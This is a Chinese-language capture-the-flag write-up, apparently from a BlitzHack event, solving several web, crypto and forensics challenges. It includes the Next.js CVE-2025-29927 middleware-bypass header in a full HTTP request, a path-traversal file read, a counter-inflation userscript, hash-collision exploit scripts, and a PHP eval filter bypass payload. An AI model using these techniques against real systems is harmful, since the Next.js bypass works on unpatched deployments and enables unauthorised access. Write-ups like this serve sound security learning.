Next Song is 春日影 Next.js CVE-2025-29927
受影响版本
Next.js 11.1.4 ~ 13.5.6:未修补版本
Next.js 14.x:在 14.2.25 之前均受影响
Next.js 15.x:在 15.2.3 之前均受影响
请求头添加x-middleware-subrequest: middleware:middleware:middleware即可访问/admin
dkri3c1_love_cat /view?img=/app/app.py读源码 app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from flask import Flask, request, send_file, abort import os app = Flask(__name__) @app.route('/') def index(): return ''' <h1> 🐱 Welcome to dkri3c1's Cat Photo Shop </h1> <p>Cat is Cuteeeee :D </p> <code>BTW, You can use /view?img=cat.png to view Cute Catttt </code> <br></br> <img src="static/images/cat.png" width="500" height="500"> ''' @app.route('/view') def view_image(): img = request.args.get('img', '') img = img.replace('../','') path = os.path.join('static/images', img) try: return send_file(path) except FileNotFoundError: return abort(404, 'File not found.') if __name__ == '__main__': app.run('0.0.0.0',debug=False,port='1234')
没啥用,直接读flag /view?img=/app/flag.txt
Middle of nowhere 离谱,同一天的两个比赛出一模一样的题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 GET /admin HTTP/2 Host: middleofnowhere-dhsbd8.blitzhack.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 X-Middleware-Subrequest: middleware:middleware:middleware Priority: u=0, i Te: trailers Connection: close
Fleg Store 给了5个coupon,每个可以兑换10块钱,但是需要70块才能买flag,一眼条件竞争秒了
靠秒完才发现可以把flag价格直接改了
Fleg Store 2.0 也是一道类似要不断刷自己钱的题,需要在屏幕上点击积累click数然后save,并且每次save只能比上次的click多5个以内,最后需要9999个click购买flag。一开始尝试用python脚本,但是一方面好像延迟有点高,另一方面save请求发过去后刷新网页没有显示click数变化。最后用油猴脚本完美规避以上两个问题。
油猴脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 (function ( ) { 'use strict' ; let clickCount = 0 ; const intervalTime = 800 ; const maxIterations = 0 ; let currentIteration = 0 ; function showToast (message ) { console .log (`clickCount: ${clickCount} ` ) console .log (`Toast: ${message} ` ); if (typeof window .showToast === 'function' ) { window .showToast (message); } } function sendSaveRequest ( ) { clickCount += 5 ; GM_xmlhttpRequest ({ method : "POST" , url : "/save" , headers : { "Content-Type" : "application/json" }, data : JSON .stringify ({ clicks : clickCount }), onload : function (response ) { try { const data = JSON .parse (response.responseText ); if (data.error ) { showToast (data.error ); } else { showToast (data.message ); } } catch (e) { showToast ("Error parsing response." ); } }, onerror : function ( ) { showToast ("Error saving." ); } }); currentIteration++; if (maxIterations > 0 && currentIteration >= maxIterations) { showToast (`Completed ${maxIterations} iterations.` ); return ; } setTimeout (sendSaveRequest, intervalTime); } setTimeout (sendSaveRequest, intervalTime); showToast ("Auto save started. Initial clickCount: " + clickCount); })();
Unstoppable force meets immovable object main.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from flask import Flask, redirect, render_template, request, url_forfrom secret import FLAGapp = Flask(__name__) NOT_PASSWORD = "P@ssword@123" def immovable_object (data, block_size=32 ): if len (data) % block_size != 0 : data += b"\0" * (block_size - (len (data) % block_size)) h = 0 for i in range (0 , len (data), block_size): block = int .from_bytes(data[i : i + block_size], "big" ) h ^= block return h @app.route("/" , methods=["GET" , "POST" ] ) def home (): if request.method == "POST" : password = request.form["password" ] unstopabble_force = immovable_object(password.encode("utf-8" )) if password != NOT_PASSWORD and unstopabble_force == immovable_object( NOT_PASSWORD.encode() ): return FLAG return redirect(url_for("home" )) url_for("static" , filename="style.css" ) return render_template("index.html" ) if __name__ == "__main__" : app.run(debug=False , host="0.0.0.0" )
grok一把梭了,nb
代码结构和功能
导入和初始化 :
代码使用 Flask 框架,导入 Flask
、redirect
、render_template
、request
和 url_for
。
从 secret
模块导入 FLAG
,这是一个假设存储了敏感信息的变量(通常是 CTF 挑战中的目标)。
初始化 Flask 应用,设置 NOT_PASSWORD = "P@ssword@123"
作为参考密码。
immovable_object 函数 :
这是一个哈希函数,接受字节输入 data
和块大小 block_size
(默认为 32 字节)。
功能 :
如果输入数据的长度不是 block_size
的倍数,则用 \0
(空字节)填充至 block_size
的倍数。
将输入数据按 block_size
分块,每个块转换为大端字节序的整数。
对所有块的整数值进行异或(XOR)操作,返回最终的哈希值 h
。
关键点 :
哈希函数的输出是单一的整数,依赖于输入数据的分块和异或操作。
如果两个不同输入在相同的分块方式下产生相同的异或结果,则它们具有相同的哈希值(即存在哈希碰撞)。
home 路由 :
处理 /
路径的 GET
和 POST
请求。
GET 请求 :
调用 url_for("static", filename="style.css")
(可能是用于加载静态 CSS 文件,但未实际使用返回值)。
渲染 index.html
模板,显示一个表单页面(假设用于输入密码)。
POST 请求 :
从表单获取 password
参数。
将输入的 password
编码为 UTF-8 字节,调用 immovable_object
计算哈希值,存储在 unstopabble_force
中。
比较输入的 password
是否不等于 NOT_PASSWORD
(即 P@ssword@123
),并且输入的哈希值是否等于 NOT_PASSWORD
的哈希值。
如果条件满足(即 password != NOT_PASSWORD
且哈希值相等),返回 FLAG
。
否则,重定向到 home
路由(重新显示表单页面)。
应用运行 :
Flask 应用以 debug=False
和 host="0.0.0.0"
运行,监听所有网络接口。
漏洞分析
获取 FLAG 的方案 要获取 FLAG
,我们需要构造一个字符串 password
,满足以下条件:
password != "P@ssword@123"
immovable_object(password.encode("utf-8")) == immovable_object("P@ssword@123".encode("utf-8"))
分析 NOT_PASSWORD
的哈希值
NOT_PASSWORD = "P@ssword@123"
的 UTF-8 编码为:1 2 P @ s s w o r d @ 1 2 3 50 40 73 73 77 6f 72 64 40 31 32 33 (十六进制)
长度为 12 字节。
按 block_size=32
处理:
数据被填充为 32 字节,即 50 40 73 73 77 6f 72 64 40 31 32 33 00 00 ... 00
(后 20 字节为 \0
)。
整个 32 字节作为一个块,转换为大端整数:1 0x50407373776f7264403132330000000000000000000000000000000000000000
由于只有一个块,哈希值 h
就是这个整数:1 h = 0x50407373776f7264403132330000000000000000000000000000000000000000
构造哈希碰撞
构造输入
目标哈希值:
1 0x50407373776f7264403132330000000000000000000000000000000000000000
构造一个 64 字节的输入:
前 32 字节:全 0
(即 0x00000000...0000
)。
后 32 字节:0x00000000...0000 ^ 0x50407373776f7264403132330000000000000000000000000000000000000000
= 0x50407373776f7264403132330000000000000000000000000000000000000000
。
对应的 UTF-8 字符串:
前 32 字节:可以是 32 个 ASCII 字符 0
(0x30
),即字符串 "00000000000000000000000000000000"
。
后 32 字节:50 40 73 73 77 6f 72 64 40 31 32 33 00 ... 00
,可以是 P@ssword@123
加上 20 个 \0
(但需要确保字符串整体不等于 P@ssword@123
)。
更简单的构造:
构造一个 32 字节的字符串,其字节值为 50 40 73 73 77 6f 72 64 40 31 32 33 00 ... 00
,但字符串内容不同。
例如,使用 P@ssword@123
加上一些不可见字符(如 \0
或其他控制字符),但需要确保字符串不完全等于 P@ssword@123
。
最终输入 :
一个简单的碰撞输入是构造一个 32 字节的字符串,其字节值与 P@ssword@123
的填充后字节相同,但字符串内容不同。
例如,字符串 "P@ssword@123" + "\0" * 20
的 UTF-8 编码与 NOT_PASSWORD
的填充后字节相同,但字符串本身不同(因为 Python 字符串比较不包括填充的 \0
)。
验证:
"P@ssword@123" + "\0" * 20 != "P@ssword@123"
(满足 password != NOT_PASSWORD
)。
immovable_object(("P@ssword@123" + "\0" * 20).encode("utf-8"))
:
编码后为 50 40 73 73 77 6f 72 64 40 31 32 33 00 ... 00
(32 字节)。
单个块的异或结果与 NOT_PASSWORD
的哈希值相同。
完整的 Python 脚本 exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import requestsurl = "https://ufmio-n1sj9nsb.blitzhack.xyz/" NOT_PASSWORD = "P@ssword@123" password = NOT_PASSWORD + "\0" * 20 def immovable_object (data, block_size=32 ): if len (data) % block_size != 0 : data += b"\0" * (block_size - (len (data) % block_size)) h = 0 for i in range (0 , len (data), block_size): block = int .from_bytes(data[i : i + block_size], "big" ) h ^= block return h assert password != NOT_PASSWORDassert immovable_object(password.encode("utf-8" )) == immovable_object(NOT_PASSWORD.encode("utf-8" ))data = {"username" : "admin" , "password" : password} response = requests.post(url, data=data) print ("Response:" , response.text)
靠,这不就相当于随便填充一下就成另一个字符串了,有点过于简单了
Unstoppable force meets immovable object 2 main.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from flask import Flask, redirect, render_template, request, url_forfrom secret import FLAGapp = Flask(__name__) def complex_custom_hash (data_string ): if not isinstance (data_string, str ): raise TypeError("Input must be a string." ) data_bytes = data_string.encode("utf-8" ) P = 2 **61 - 1 B = 101 hash_val = 0 for byte_val in data_bytes: hash_val = (hash_val * B + byte_val) % P length_mix = (len (data_bytes) * 123456789 ) % P hash_val = (hash_val + length_mix) % P chunk_size = 40 num_chunks = 64 // chunk_size folded_hash = 0 temp_hash = hash_val for _ in range (num_chunks): chunk = temp_hash & ((1 << chunk_size) - 1 ) folded_hash = (folded_hash + chunk) % (1 << chunk_size) temp_hash >>= chunk_size final_small_hash = folded_hash scrambled_hash = 0 for _ in range (3 ): scrambled_hash = ( final_small_hash ^ (final_small_hash >> 7 ) ^ (final_small_hash << 3 ) ) & ((1 << chunk_size) - 1 ) final_small_hash = scrambled_hash return f"{scrambled_hash:04x} " @app.route("/" , methods=["GET" , "POST" ] ) def home (): if request.method == "POST" : username = request.form["username" ] password = request.form["password" ] if username != password and complex_custom_hash( password ) == complex_custom_hash(username): return FLAG return redirect(url_for("home" )) url_for("static" , filename="style.css" ) return render_template("index.html" ) if __name__ == "__main__" : app.run(debug=False , host="0.0.0.0" )
这次grok寄了,deepseek一把梭了,win
代码分析
核心功能 :
用户提交用户名和密码
要求用户名≠密码
要求complex_custom_hash(username) == complex_custom_hash(password)
满足以上条件则返回Flag
哈希函数分析 :
这是一个自定义的哈希函数,基于多项式滚动哈希
使用大质数P=2^61-1作为模数
包含长度混合、分块处理和位操作等步骤
最终输出4个十六进制字符
获取Flag的方案 要获取Flag,我们需要找到两个不同的字符串(用户名和密码)但具有相同的哈希值。由于哈希输出空间很小(16^4=65536种可能),很容易发生碰撞。
具体步骤
编写一个脚本生成随机字符串并计算哈希值
存储哈希值和对应的字符串
当发现两个不同字符串具有相同哈希值时,使用这对字符串提交表单
完整的Python脚本 exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 import randomimport stringfrom flask import Flask, redirect, render_template, request, url_fordef complex_custom_hash (data_string ): if not isinstance (data_string, str ): raise TypeError("Input must be a string." ) data_bytes = data_string.encode("utf-8" ) P = 2 **61 - 1 B = 101 hash_val = 0 for byte_val in data_bytes: hash_val = (hash_val * B + byte_val) % P length_mix = (len (data_bytes) * 123456789 ) % P hash_val = (hash_val + length_mix) % P chunk_size = 40 num_chunks = 64 // chunk_size folded_hash = 0 temp_hash = hash_val for _ in range (num_chunks): chunk = temp_hash & ((1 << chunk_size) - 1 ) folded_hash = (folded_hash + chunk) % (1 << chunk_size) temp_hash >>= chunk_size final_small_hash = folded_hash scrambled_hash = 0 for _ in range (3 ): scrambled_hash = ( final_small_hash ^ (final_small_hash >> 7 ) ^ (final_small_hash << 3 ) ) & ((1 << chunk_size) - 1 ) final_small_hash = scrambled_hash return f"{scrambled_hash:04x} " def find_collision (): hash_dict = {} attempts = 0 while True : length = random.randint(1 , 20 ) random_str = '' .join(random.choices(string.ascii_letters + string.digits, k=length)) h = complex_custom_hash(random_str) if h in hash_dict: if random_str != hash_dict[h]: print (f"碰撞找到于尝试 {attempts} 次后" ) print (f"字符串1: {hash_dict[h]} " ) print (f"字符串2: {random_str} " ) print (f"相同哈希值: {h} " ) return (hash_dict[h], random_str) else : hash_dict[h] = random_str attempts += 1 if attempts % 10000 == 0 : print (f"已尝试 {attempts} 次..." ) def get_flag (): str1, str2 = find_collision() import requests url = "https://ufmiotwo-asdhwsad.blitzhack.xyz/" data = { "username" : str1, "password" : str2 } response = requests.post(url, data=data) print ("服务器响应:" ) print (response.text) if "flag" in response.text.lower(): print ("成功获取Flag!" ) else : print ("未能获取Flag,请检查" ) if __name__ == "__main__" : get_flag()
好像也很直白,就硬爆
Blitz Traffic 流量包中的tcp数据包传输了一个png,将每个tcp包的TCP Payload提出来即可
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from scapy.all import *import argparsedef extract_tcp_payload (pcap_file, output_file ): """ 从PCAP文件中提取所有TCP数据包的Payload并保存到文件 :param pcap_file: 输入的PCAP文件路径 :param output_file: 输出的Payload文件路径 """ packets = rdpcap(pcap_file) with open (output_file, 'wb' ) as f: for pkt in packets: if pkt.haslayer(TCP) and pkt.haslayer(Raw): payload = pkt[Raw].load f.write(payload) if __name__ == "__main__" : parser = argparse.ArgumentParser(description='Extract TCP payloads from a PCAP file' ) parser.add_argument('-i' , '--input' , required=True , help ='Input PCAP file' ) parser.add_argument('-o' , '--output' , required=True , help ='Output file for TCP payloads' ) args = parser.parse_args() print (f"Extracting TCP payloads from {args.input } to {args.output} ..." ) extract_tcp_payload(args.input , args.output) print ("Extraction completed." ) python exp.py -i blitzhack_traffic.pcap -o output.png
或者用tshark
1 2 3 4 5 6 tshark.exe -r blitzhack_traffic.pcap -Y "tcp.payload" -T fields -e tcp.payload > tcp_payloads.txt -r blitzhack_traffic.pcap: 指定输入的PCAP文件 -Y "tcp.payload": 过滤只显示包含TCP Payload的数据包 -T fields -e tcp.payload: 指定输出格式为字段,并只输出tcp.payload字段 > tcp_payloads.txt: 将输出重定向到文件
evalgelist index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php if (isset ($_GET ['input' ])) { echo '<div class="output">' ; $filtered = str_replace (['$' , '(' , ')' , '`' , '"' , "'" , "+" , ":" , "/" , "!" , "?" ], '' , $_GE ['input' ]); $cmd = $filtered . '();' ; echo '<strong>After Security Filtering:</strong> <span class="filtered">' .htmlspecialchars ($cmd ) . '</span>' . "\n\n" ; echo '<strong>Execution Result:</strong>' . "\n" ; echo '<div style="border-left: 3px solid #007bff; padding-left: 15px; margin-left: 10px">' ; try { ob_start (); eval ($cmd ); $result = ob_get_clean (); if (!empty ($result )) { echo '<span class="success">✅ Function executed successfully!</span>' . "\n" ; echo htmlspecialchars ($result ); } else { echo '<span class="success">✅ Function executed (no output)</span>' ; } } catch (Error $e ) { echo '<span class="error">❌ Error: ' . htmlspecialchars ($e ->getMessage ()) . '</span>' ; } catch (Exception $e ) { echo '<span class="error">❌ Exception: ' . htmlspecialchars ($e ->getMessage ()) . '<span>' ; } echo '</div>' ; echo '</div>' ; } ?>
用php目录分隔符DIRECTORY_SEPARATOR代替/,再用include或者require导入flag即可
payload
1 ?input=include DIRECTORY_SEPARATOR.flag;#